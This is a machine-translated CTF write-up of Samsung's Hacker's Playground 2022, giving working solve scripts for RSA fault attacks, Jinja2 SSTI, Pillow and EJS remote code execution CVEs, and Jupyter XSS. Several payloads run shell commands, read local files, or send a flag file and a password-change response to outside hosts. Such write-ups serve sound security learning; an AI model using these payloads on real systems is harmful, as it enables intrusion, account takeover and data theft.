Hacker's Playground 2022 WriteUps

發表於
分類於 CTF

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

During the quarantine period, I participated in a 24-hour CTF organized by Samsung with TSJ and ended up in 6th place. Some of the challenges were quite interesting, so I decided to write a writeup.

[Pwn/Crypto] Secure Runner

By reversing the ELF file, we can see that it first generates an RSA key, and the public key is provided to you. Then, you can choose the signature of several pre-set commands. To execute a command, you need to input both the command and the corresponding signature.

Additionally, there is a hidden one-time-use format string attack with a length of only 4:

unsigned __int64 onechance()
{
  int offset; // [rsp+4h] [rbp-1Ch] BYREF
  __int64 v2; // [rsp+8h] [rbp-18h]
  char s[5]; // [rsp+13h] [rbp-Dh] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v2 = heap;
  if ( !usedFlag_5095 )
  {
    usedFlag_5095 = 1;
    __isoc99_scanf("%d%*c", &offset);
    v2 += offset;
    fgets(s, 5, stdin);
    if ( !strchr(s, 's') )
      printf(s);
  }
  return __readfsqword(0x28u) ^ v4;
}

Here, heap is a chunk on the heap, so you can have a heap address with an arbitrary offset on the stack for convenience. Since s is banned, it means you can only write, not read.

The challenge uses GNU MP's mpz for big number calculations, which stores numbers on the heap. This means you can corrupt certain parts of the key by controlling the offset. The key itself is a struct, roughly formatted like this, with each being a 16-byte mpz, probably storing metadata and pointers:

0: p
16: q
32: n
64: e
80: d
96: dp
112: dq
128: p-1 後來變成 (q^-1 mod p)*q
144: q-1 後來變成 (p^-1 mod q)*p

The signature verification part directly checks if semodns^e \mod{n} is the command to be executed, so if you change nn, you can exploit it.

Since the format string length is only 4, I calculated that the heap address index is 7, so the only possible way is %7$n, setting certain four bytes to 0. This reminded me of the Fiercest challenge from this year's crypto CTF, so I brute-forced to see which bytes to modify to make it a prime number, making it simple.

from pwn import *
from Crypto.Util.number import *

# io = process("./SecureRunner")
io = remote("securerunner.sstf.site", 1337)
io.sendline(b"2")
io.recvuntil(b"n = ")
n = int(io.recvline())
io.recvuntil(b"e = ")
e = int(io.recvline())
print(n)
print(e)


def find_flip(n):
    for i in range(0, 2048, 8):
        nn = n & ~(0xFFFFFFFF << i)
        if isPrime(nn):
            return nn, i // 8
    raise Exception("Unlucky")


p, offset = find_flip(n)
print(p)
io.sendline(b"9999")
io.sendline(str(-0x880 + offset).encode())
io.sendline(b"%7$n")
io.sendline(b"2")

d = pow(e, -1, p - 1)
cmd = b"sh"
sig = pow(bytes_to_long(cmd), d, p)
io.sendline(b"4")
io.sendline(cmd)
io.sendline(str(sig).encode())
io.interactive()
# SCTF{sm4LL_but_b1g_en0u9h_f4Ul7_to_br3ak_RSA_5c3829d4}

[Pwn/Crypto] Secure Runner 2

This challenge is similar to the previous one, but the signature verification part first calculates n=pqn=pq and then semodns^e \mod{n}, instead of directly using the nn in the key.

Although you can corrupt pp or qq, it doesn't seem useful.

Additionally, the part where it signs predefined commands shows that it doesn't directly use mdmodnm^d \mod{n} but uses the RSA CRT signing method, reminding me of Fault attacks on RSA's signatures.

However, when generating the key, it also calculates pqdpdqp \oplus q \oplus d_p \oplus d_q, and before signing, it checks the integrity of these four values, so modifying dp,dqd_p, d_q and using CRT fault to gcd is not feasible.

But after some research, I found Modulus Fault Attacks Against RSA-CRT Signatures, which generates a fault in nn, resulting in nn'. To use this method, you need the signature values modn\bmod {n} and modn\bmod{n'}, which is achievable in this challenge.

This method is more complicated as it uses an orthogonal lattice attack, so implementation is not simple. I first implemented it according to the method:

from sage.all import *
from Crypto.Util.number import *
from itertools import combinations

p = getPrime(512)
q = getPrime(512)
n = p * q
e = 65537
d = pow(e, -1, (p - 1) * (q - 1))
dp = d % (p - 1)
dq = d % (q - 1)
crtp = pow(q, -1, p) * q
crtq = pow(p, -1, q) * p

# fault
n2 = n & ~0xFFFFFFFF

def crt_sign(m):
    sp = pow(m, dp, p)
    sq = pow(m, dq, q)
    return (sp * crtp + sq * crtq) % n

def crt_sign_fault(m):
    sp = pow(m, dp, p)
    sq = pow(m, dq, q)
    return (sp * crtp + sq * crtq) % n2


def get_v(m):
    s1 = crt_sign(m)
    s2 = crt_sign_fault(m)
    return crt([s1, s2], [n, n2])


l = 5
vs = [ZZ(get_v(randint(2, n))) for _ in range(l)]
M1 = matrix(vs).T.augment(matrix.identity(l))
M1[:, 0] *= floor(sqrt((M1*M1.T).det()))
print(M1.change_ring(Zmod(100)))
L = M1.LLL()[: l - 2, 1:]
L = L.T.augment(matrix.identity(l))
L[:, : l - 2] *= floor(sqrt((L*L.T).det()))
print(L.change_ring(Zmod(100)))
LT = L.LLL()[:, -l:]
for z in LT:
    d = vector(vs) - z
    for t in d:
        g = gcd(t, n)
        if g != 1:
            print("g", g)
print(n)

Then, I modified it and integrated it into the original pwn script:

from pwn import *
from sage.all import *
from Crypto.Util.number import *

# io = process("./SecureRunner2")
io = remote("eca189e9.sstf.site", 1337)
io.sendline(b"2")
io.recvuntil(b"n = ")
n = int(io.recvline())
io.recvuntil(b"e = ")
e = int(io.recvline())
print(n)
print(e)


def factor(vs):
    l = len(vs)
    M1 = matrix(vs).T.augment(matrix.identity(l))
    M1[:, 0] *= floor(sqrt((M1 * M1.T).det()))
    L = M1.LLL()[: l - 2, 1:]
    L = L.T.augment(matrix.identity(l))
    L[:, : l - 2] *= floor(sqrt((L * L.T).det()))
    LT = L.LLL()[:, -l:]
    for z in LT:
        d = vector(vs) - z
        for t in d:
            g = gcd(t, n)
            if g != 1 and g < n:
                return g


normal_sigs = []
fault_sigs = []
for i in range(5):
    io.sendline(b"1")
    io.sendline(str(i).encode())
    io.sendline(b"3")
    io.recvuntil(b"sign = ")
    normal_sigs.append(int(io.recvline()))

io.sendline(b"9999")
io.sendline(str(-0x880).encode())
io.sendline(b"%7$n")
n2 = n & ~0xFFFFFFFF

for i in range(5):
    io.sendline(b"1")
    io.sendline(str(i).encode())
    io.sendline(b"3")
    io.recvuntil(b"sign = ")
    fault_sigs.append(int(io.recvline()))

vs = [crt([x, y], [n, n2]) for x, y in zip(normal_sigs, fault_sigs)]
p = factor(vs)
q = n // p
assert p * q == n

d = power_mod(e, -1, (p - 1) * (q - 1))
cmd = b"sh"
sig = power_mod(bytes_to_long(cmd), d, n)
io.sendline(b"4")
io.sendline(cmd)
io.sendline(str(sig).encode())
io.interactive()
# SCTF{RSA_mOdulu5_f4ult_1nj3t10n_4tTack_w1th_9R3A7_LLL}

There are some interesting unintended solutions in this challenge. Although it checks integrity with xor, it only does so during signing, so you can modify other parameters as long as you don't use the signing function. For the RSA key in the second challenge, it has these parameters:

0: p
16: q
32: n
48: e
64: d
80: dp
96: dq
112: p-1 後來變成 (q^-1 mod p)*q
128: q-1 後來變成 (p^-1 mod q)*p
144: p xor q xor dp xor dq

One method is to modify pp to get pp', then use option 0 to get n=pqn'=p'q, and xor with the original n=pqn=pq to get qq. However, the signature verification will use n=pqn'=p'q, so if pp' is not easily factorable, it will be troublesome. But this can be handled by betting that pp' is prime. If pp' is not prime, just restart.

Another method is to modify the CRT coefficients ip=(q1modp)qi_p=(q^{-1} \mod{p})q and iq=(p1modq)pi_q=(p^{-1} \mod{q})p at offsets 112 and 128. Since we know the CRT RSA signing equation looks like this:

s=((mdpmodp)ip+(mdqmodq)iq)modns = ((m^{d_p} \mod{p}) i_p + (m^{d_q} \mod{q}) i_q) \mod{n}

If we change the lsb of ipi_p to get ip=ipxi_p' = i_p -x, then sign again to get another signature ss':

s=((mdpmodp)ip+(mdqmodq)iq)modns' = ((m^{d_p} \mod{p}) i_p' + (m^{d_q} \mod{q}) i_q) \mod{n}

The difference between the two signatures:

ss=x(mdpmodp)s - s' = x (m^{d_p} \mod{p})

If xx is covered using %7$n, it can have at most 2322^{32} possibilities. Additionally, we can adjust the offset forward (there is heap chunk padding, so it won't break other things) to make xx range only 282^8. After brute-forcing xx, subtract mm from ee and gcd to get pp.

[Crypto/Web] CUSES

The cookie is encrypted with AES CTR. Flipping the username from guest to admin gives the flag.

[Misc/Web] 5th degree

It gives a fifth-degree polynomial, and you need to find the maximum and minimum values within a given range. You need to solve 30 problems within a minute to get the flag.

Basically, using sage:

import re
import httpx


def solve(tex, lb, ub):
    eq = re.sub(r"(\d)(x)", "\\1*\\2", tex.strip()).replace("^", "**")
    print(eq)

    P.<x> = ZZ[]
    y = eval(eq.replace("y = ", ""))
    ps = [x for x in y.diff().roots(multiplicities=False) if lb <= x <= ub]
    ps = [lb] + ps + [ub]
    ys = [y(x) for x in ps]
    return min(ys), max(ys)



cli = httpx.Client(base_url="http://5thdegree.sstf.site/")
page = cli.get("/chal").text
for _ in range(30):
    print("Round", re.search(r"Round (\d+)", page).group(1))
    tex = re.search(r"\\\[(.*?)\\\]", page).group(1).strip()
    print(tex)
    m = re.search(r"\\\( ([\-0-9]+) \\le x \\le ([\-0-9]+) \\\)", page)
    lb = int(m.group(1))
    ub = int(m.group(2))
    print(lb, ub)
    mn, mx = solve(tex, lb, ub)
    print(mn, mx)
    print()
    page = cli.post("/chal", data={"min": mn, "max": mx}).text
print(page)
# SCTF{I_w4nt_t0_l1v3_in_a_wOrld_w1thout_MATH}

[Web] Online Education

This challenge uses negative numbers to bypass some checks. Since re.match only checks the beginning of the email, you can add some JS at the end to be executed by the html -> pdf tool, allowing LFI to leak config.py and get the flask secret. Then, sign a new session to become admin and get the flag.

import httpx

xss = """
<script>
var xhr = new XMLHttpRequest
xhr.open('GET', 'file:///home/app/config.py', false)
xhr.send(null)
document.write(xhr.responseText)
</script>
"""
cli = httpx.Client(base_url="http://onlineeducation.sstf.site/", follow_redirects=False)
r = cli.post("/signin", data={"name": "peko", "email": "peko@gmail.com" + xss})
for i in range(3):
    print(i)
    cli.post("/status", json={"action": "start"})
    cli.post("/status", json={"action": "finish", "rate": -1})
pdf = cli.get("cert").read()
with open("cert.pdf", "wb") as f:
    f.write(pdf)
# secret_key 19eb794c831f30f099a31b1c095a17d6
# flask-unsign -S 19eb794c831f30f099a31b1c095a17d6 -s --cookie "{'email': 'peko@gmail.com', 'idx': 3, 'is_admin': True, 'name': 'peko'}"
# SCTF{oh_I_forgot_to_disable_javascript}

[Rev] FSC

This challenge has a simple C printf format string flag checker, but I don't know how to reverse such things, so I treated it as a black box.

By changing some input values, you can see it should be a Z256\mathbf{Z}_{256} matrix multiplication. It calculates by subtracting 1 from all inputs to get a vector xx, then uses a predefined matrix AA and vector bb.

The check part is to see if Ax+bAx+b is 0. By changing some xx values, you can get the entire AA and bb, then solve it with sage.

The solution will show some incorrect values because the matrix kernel is non-zero. However, after finding the kernel, you will see some values are just a few indices becoming 128, so subtracting 128 from out-of-range values will get the flag.

Dump AA and bb:

#include <stdio.h>
#include <string.h>

#define F(X) "%"#X"$s"
#define O(X) "%"#X"$hhn"
#define R(V,X) "%2$"#V"d"O(X)
#define M(X) "%2$.*"#X"$d"
#define A(X) X X 
#define T(X) A(X)A(X)
#define S(X) T(X)T(X)
#define TR(X) S(X)S(X)
#define I(X) TR(TR(X))
#define N I(O(5)F(5))
#define G "\033[2J\n%7$s\n";

unsigned char f[1337]={0,};
unsigned char oldf[1337]={0,};

char *have = A(M(12))R(48,13)A(M(14))R(66,15)M(16)R(150,17)A(M(18))R(
             36,19)A(M(20))R(46,21)M(22)R(131,23)A(M(24))R(32,25)M(26)
             R(161,27)A(M(28))R(66,29)A(M(30))R(26,31)A(M(32)) R(34,33
             )M(34)R(140,35)M(36)R(223,37)A(M(38))R(28,39)A( M(40))R(
             88,41)A(M(42))R(90,43)A(M(44))R(10,45)M(46)R( 155,47)M(48
             )R(159,49)A(M(50))R(116,51)M(52)R(141,53)M(54)R(151,55)A(
             M(56))R(22,57)M(58)R(140,59)A(M(60))R(122,61)M(62)R(154,
             63)M(64)R(153,65)A(M(66))R(22,67)M(68)R(146,69)A(M(70))R
             (66,71)N F(17)F(55)F(27)F(71)F(39)F(67)F(25)F(15)F(35)F(
             43)F(23)F(29)F(33)F(49)F(53)F(65)F(31)F(45)F(47)F(37)F(57
             )F(19)F(63)F(41)F(69)F(13)F(51)F(59)F(61)F(21)O(3)N TR(F(
             3)) R(71,7) N A(F(3))F(3) R(79,8) N R(79,9) N A(F(3)) S(
             F(3)) R(68,10) N A(TR(F(3)))T(F(3))A(F(3)) R(33,11) N G

#define  fun "SCTF{",01,f+38,f+34,f+32,f+36,f+40,f+41,f+42,f+43,f+44,\
             f[27],f+100,f[18],f+82,f[5],f+56,f[15],f+76,f[14],f+74,f\
             [29],f+104,f[12],f+70,f[11],f+68,f[21],f+88,f[7],f+60,f[\
             24],f+94,f[8],f+62,f[28],f+102,f[13],f+72,f[2],f+50,f[0]\
             ,f+46,f[4],f+54,f[22],f+90,f[10],f+66,f[3],f+52,f[20],f+\
             86,f[19],f+84,f[6],f+58,f[16],f+78,f[1],f+48,f[17],f+80,\
             f[26],f+98,f[25],f+96,f[23],f+92,f[9],f+64,f[99],1337,"}"

int main(){
    char out[10000];
    // print a transposed matrix A (mod 256)
    for(int k=0;k<30;k++){
        memset(f, 0, sizeof(f));
        sprintf(out,have,fun);
        memcpy(oldf, f, sizeof(f));

        memset(f, 0, sizeof(f));
        f[k] = 2;  // to observe changes
        sprintf(out,have,fun);
        printf("[");
        for(int i=46;i<=104;i+=2){
            printf("%d, ", f[i] - oldf[i]);
        }
        printf("],\n");
    }

    // print target vector
    memset(f, 0, sizeof(f));
    sprintf(out,have,fun);
    for(int i=46;i<=104;i+=2){
        // printf("%d: %d\n", i, f[i]);
        printf("%d, ", f[i]);
    }
    puts("");
}

Solve:

A=matrix(Zmod(256),[[2, 2, 0, 2, 2, 0, 2, 0, 0, 2, 2, 0, 0, 0, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 0, 0, ],
[0, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 2, 0, 2, 2, 0, 0, 0, ],
[2, 2, 2, 2, 2, 0, 2, 0, 0, 2, 2, 0, 0, 0, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 0, 0, ],
[0, 2, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 0, 0, 0, 0, 2, 2, 0, 2, 2, 0, 0, 2, 0, 2, 2, 0, 0, 0, ],
[0, 2, 0, 2, 2, 0, 2, 0, 0, 2, 2, 0, 0, 0, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 0, 0, ],
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, ],
[0, 2, 0, 0, 0, 0, 2, 0, 0, 2, 0, 0, 0, 0, 0, 0, 2, 2, 0, 0, 0, 0, 0, 2, 0, 2, 2, 0, 0, 0, ],
[2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 0, 0, 2, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 2, 2, 2, 0, 2, 0, ],
[1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, ],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ],
[0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, ],
[2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 0, 0, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 0, ],
[2, 2, 2, 2, 2, 0, 2, 0, 0, 2, 2, 0, 0, 2, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 0, 0, ],
[2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, ],
[2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, ],
[0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, ],
[0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 0, 0, 2, 0, 0, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 0, ],
[0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, ],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, ],
[2, 2, 2, 2, 2, 0, 2, 0, 2, 2, 2, 0, 0, 2, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 2, 2, 2, 0, 2, 0, ],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 2, 0, 0, 0, 0, ],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, ],
[1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, ],
[1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, ],]).T
rhs=vector([112, 117, 20, 46, 124, 13, 108, 11, 188, 153, 184, 171, 9, 186, 99, 51, 249, 16, 118, 84, 188, 239, 24, 85, 47, 194, 170, 50, 156, 231])
sol=A.solve_right(-rhs)
print(bytes([x-128+1 if x>=128 else x+1 for x in sol]))
# SCTF{just_a_printf_is_enough!}

[Misc] Flip Puzzle

It's a game similar to the 15 puzzle, also 4x4. It starts from an initial state and randomly moves 11 steps. You need to return to the initial state within 11 steps to win a round, and you need to win 100 rounds to get the flag. The entire process must be completed within 50 seconds.

My approach is simple. Since 411=2224^{11} = 2^{22} is not large, I used DFS to search all possibilities and built a table to record the previous node for each node, using the shortest path relaxation concept.

Then, using the table to trace back to the starting point, the challenge is solved.

Build table:

board = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P".split(",")
board = [board[i : i + 4] for i in range(0, len(board), 4)]
print(board)

par = {}


def dfs(x, y, board, depth=0):
    if depth == 11:
        return
    parhash = "".join(["".join(x) for x in board])
    for dx, dy in [(0, +1), (0, -1), (+1, 0), (-1, 0)]:
        xx = (x + dx) % 4
        yy = (y + dy) % 4
        board[x][y], board[xx][yy] = board[xx][yy], board[x][y]
        curhash = "".join(["".join(x) for x in board])
        if curhash not in par or depth < par[curhash][2]:
            par[curhash] = ((-dx, -dy), parhash, depth)
        dfs(xx, yy, board, depth + 1)
        board[x][y], board[xx][yy] = board[xx][yy], board[x][y]


dfs(0, 0, board)
print(len(par))
print(board)

import pickle

with open("par.pkl", "wb") as f:
    pickle.dump(par, f)

Solve:

from pwn import *
import pickle
from tqdm import tqdm

with open("par.pkl", "rb") as f:
    # python bb.py
    par = pickle.load(f)


def recvboard(io):
    s = ""
    for _ in range(4):
        s += io.recvlineS().strip()
    return s


# context.log_level = "debug"
# io = process(["python", "app.py"])
io = remote("flippuzzle.sstf.site", 8098)
for rnd in tqdm(range(100)):
    io.recvuntil(b"Current Status :\n")
    cur = recvboard(io)
    dirs = []
    for _ in range(11):
        d, nxt, _ = par[cur]
        dirs.append(d)
        cur = nxt
        if cur == "ABCDEFGHIJKLMNOP":
            break
    io.sendline("\n".join([",".join(map(str, x)) for x in dirs]).encode())
io.interactive()
# SCTF{what-is-your-favorite-algorithm_0x38dc129?}

[Web] OnlineNotepad

import os
import jinja2
import uvicorn
from pydantic import BaseModel, Field, validator
from fastapi import FastAPI, Request
from fastapi.staticfiles import StaticFiles
from fastapi.templating import Jinja2Templates


app = FastAPI()

userinfo_path = "userinfo"
memo_path = "memo"

app.mount("/static", StaticFiles(directory="static"), name="static")
templates = Jinja2Templates(directory=["templates", userinfo_path, memo_path])


userinfo_raw = """{%% set userid = "%s" %%}
{%% set password = "%s" %%}"""

memofile_raw = """<html>
<head>
    <title>Online Notepad</title>
    <link href="{{ url_for('static', path='/styles.css') }}" rel="stylesheet">
</head>
<body>
<div>
    {%% import userid+".j2" as user %%}

    {%% if userid == user.userid %%}
        {%% if password == user.password %%}
            <h1>Hello {{ userid }}</h1>
            <h1><pre>{%% raw %%}%s{%% endraw %%}</pre></h1>
        {%% else %%}
            <h1>Login Fail</h1>
        {%% endif %%}
    {%% else %%}
        <h1>Login Fail</h1>
    {%% endif %%}
</div>
</body>
</html>
"""

class Memo(BaseModel):
    userid: str = Field(min_length=5, max_length=20)
    password: str = Field(min_length=5, max_length=20)
    memo: str = Field(min_length=1, max_length=64)

    @validator("userid")
    def val_userid(cls, v):
        if v == "admin":
            raise ValueError("access denied")
        if v.isalnum() != True:
            raise ValueError("userid cannot contain a special character")
        return v

    @validator("password")
    def val_password(cls, v):
        if ("\"" in v) or ("/" in v):
            raise ValueError("password cannot contain a special character")
        return v

    @validator("memo")
    def val_memo(cls, v):
        if ("{{" in v) or ("}}" in v):
            raise ValueError("memo cannot contain a special character")
        return v


@app.post("/memo/")
async def write_memo(request:Request, memo:Memo):
    global userinfo_path, memo_path
    global userinfo_raw, memofile_raw

    userinfo = userinfo_raw % (memo.userid, memo.password)
    open(os.path.join(userinfo_path, memo.userid+".j2"), "w").write(userinfo)

    memofile = memofile_raw % memo.memo
    open(os.path.join(memo_path, memo.userid+".html"), "w").write(memofile)

    return memo

@app.get("/memo/{userid}/{password}")
async def read_memo(request:Request, userid:str, password:str):
    global userinfo_path, memo_path

    try:
        if (
            (userid.isalnum() == True) and 
            os.path.exists( os.path.join(userinfo_path, userid+".j2") ) and 
            os.path.exists( os.path.join(memo_path, userid+".html") )
        ):
            return templates.TemplateResponse(userid+".html", {"request": request, "userid":userid, "password":password})
        else:
            return templates.TemplateResponse("readfail.html", {"request": request})
    except Exception as e:
        print(e)
        return("Exception")

@app.get('/')
async def index(request:Request):
    context = {"request":request}
    return templates.TemplateResponse('index.html', context)


if __name__ == '__main__':
    uvicorn.run(app, host="0.0.0.0", port=35547, headers=[("Server", "FastAPI")], log_level="info")

You can see it writes to a template and allows SSTI. Since raw is injected with %s, using endraw + raw allows SSTI.

PS: %% in Python's % formatting is the escape for %, so it's not repeated %.

To bypass the {{ }} restriction, use {%set a=7*7%}. However, the memo length is only 64, too short to RCE. A common trick is using flask's config.update(a=lipsum.__globals__) to store some values, then access them later with config.a.os, shortening the length. But config is only available in the general render_template environment, not in TemplateResponse.

Later, I noticed password is in the same environment and has no strict restrictions, so this payload is exactly 64 characters long:

{%endraw%}{%set a=lipsum.__globals__.os.popen(password)%}{%raw%}

Since the password length limit is 20, you need a short enough domain for curl domain|sh, so I let splitline handle it with a short domain.

Another method doesn't require a short domain, similar to the config trick. The key is you can write multiple files with multiple accounts, then combine them using {%set a = ???%} and {%include 'other.html'%}.

For example, in p1.html:

{%set a=lipsum%}{%include 'p2.html'%}

In p2.html:

{%set b=a.__globals__%}{%include 'p3.html'%}

Then continue with p3.html, p4.html, etc., to bypass the length limit.

[Web] Imageium

This challenge is a service for channel-mixed images. You can get different images using the following URL with parameters:

http://imageium.sstf.site/dynamic/modified?mode=r%2Bg%2Bb

The challenge notes that it uses Pillow 8.2.0, and you can find CVE-2022-22817, which says PIL.ImageMath.eval can directly RCE, so just inject something to get the flag:

http://imageium.sstf.site/dynamic/modified?mode=__import__(%27os%27).popen(%27cat%20secret/*%27).read()

Below are some unrelated side notes:

The initial patch for this CVE was Restrict builtins for ImageMath.eval. Those familiar with pyjail can see it's easily bypassed with lambda, so there should be another CVE...?

Later, I found that in version 9.1.0 and later, they used Restrict builtins within lambdas for ImageMath.eval to recursively check co_names, and I couldn't find a way to bypass it, so it should be safe.

[Web] JWT Decoder


const express = require('express');
const cookieParser = require('cookie-parser');
const path = require('path');
const app = express();
const PORT = 3000;

app.use(cookieParser());
app.set('views', path.join(__dirname, "view"));
app.set('view engine', 'ejs');

app.get('/', (req, res) => {
    let rawJwt = req.cookies.jwt || {};

    try {
        let jwtPart = rawJwt.split('.');

        let jwtHeader = jwtPart[0];
        jwtHeader = Buffer.from(jwtHeader, "base64").toString('utf8');
        jwtHeader = JSON.parse(jwtHeader);
        jwtHeader = JSON.stringify(jwtHeader, null, 4);
        rawJwt = {
            header: jwtHeader
        }

        let jwtBody = jwtPart[1];
        jwtBody = Buffer.from(jwtBody, "base64").toString('utf8');
        jwtBody = JSON.parse(jwtBody);
        jwtBody = JSON.stringify(jwtBody, null, 4);
        rawJwt.body = jwtBody;

        let jwtSignature = jwtPart[2];
        rawJwt.signature = jwtSignature;

    } catch(error) {
        if (typeof rawJwt === 'object') {
            rawJwt.error = error;
        } else {
            rawJwt = {
                error: error
            };
        }
    }
    res.render('index', rawJwt);
});

app.use(function(err, req, res, next) {
    console.error(err.stack);
    res.status(500).send('Something wrong!');
});

app.listen(PORT, (err) => {
    console.log(`Server is Running on Port ${PORT}`);
});

It only decodes the JWT and reformats it, with no visible vulnerabilities. Although res.render('index', rawJwt); reminds me of echo and echo2, the JWT decoding method shouldn't allow controlling other options...?

Of course, the inability to control other options is wrong, or the challenge would be unsolvable. The key is in let rawJwt = req.cookies.jwt || {};, because express cookie supports a JSON cookie feature. When encountering j:{"a": 123}, it tries to decode it, so rawJwt can be your object. The split will cause an exception, but it will be caught, allowing your payload to pass through.

After some research, I found CVE-2022-29078, and a quick Google search provided an exploit, allowing RCE:

curl 'http://jwtdecoder.sstf.site' --cookie 'jwt=j:{"settings":{"view options":{"outputFunctionName":"a=process.mainModule.require(\"child_process\").execSync(\"SHELL COMMAND\")%3Bb"}}}'

[Web] Datascience Class

This challenge has a Jupyter Hub service where you can register and log in, meaning you can execute commands on the server. However, registration seems to create a new Linux user with its own home directory. The challenge has two accounts, admin and sub-admin, with the flag in /home/admin/flag, but we don't have permission to read it.

Additionally, the challenge has an XSS bot that periodically visits each user's assignment.ipynb page, so you can place some JavaScript to gather information. After testing, I found the XSS bot user is sub-admin, so I thought of changing sub-admin's password to log in and see if I can get the admin flag.

However, while I was doing this, seadog007 had already stolen the flag from another team using pspy XDDD, so I didn't continue.

After the competition, I learned that sub-admin and admin are in the same group, so you can read the flag with a shell, but not through the notebook API /user/admin/api/contents/flag.

Here is someone else's payload, not changing the password but using WebSocket:

fetch("http://datasciencecls.sstf.site/user/sub-admin/api/terminals",{method: 'POST', headers:{"X-XSRFToken":document.cookie.slice(6)}});
ws = new WebSocket("ws://datasciencecls.sstf.site/user/sub-admin/terminals/websocket/1");
ws.addEventListener('open', (event) => {
  ws.send('["stdin","curl http://xxx/flag?testnw`whoami` -d@/home/admin/flag\\r"]')
})

Additionally, Jupyter Notebook allows direct HTML:

%%html
<img src=x onerror="some javascript">

But the onerror content may disappear after saving and refreshing (though it might work sometimes...), requiring manual execution of the cell. This seems to be some sanitization. After the competition, I saw someone bypassing it with this method:

%%html
<select><iframe></select><img src=x: onerror="some javascript">

Later, I learned this is CVE-2021-32798. Jupyter treats loaded HTML as untrusted, so it tries to sanitize it.

My payload:

%%html
<select><iframe></select><img src=x: onerror="import('https://webhook.site/SOME_UUID')">

Webhook response:

fetch('/hub/change-password',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'password=NEWPASSWORD'}).then(r=>r.text()).catch(err=>err.message).then(t=>fetch('https://webhook.site/SOME_UUID',{method:'POST',body:t}))

Then, log in with sub-admin/NEWPASSWORD and !cat /home/admin/flag to get the flag: SCTF{I_want_t0_b3_data_speciai1ist}.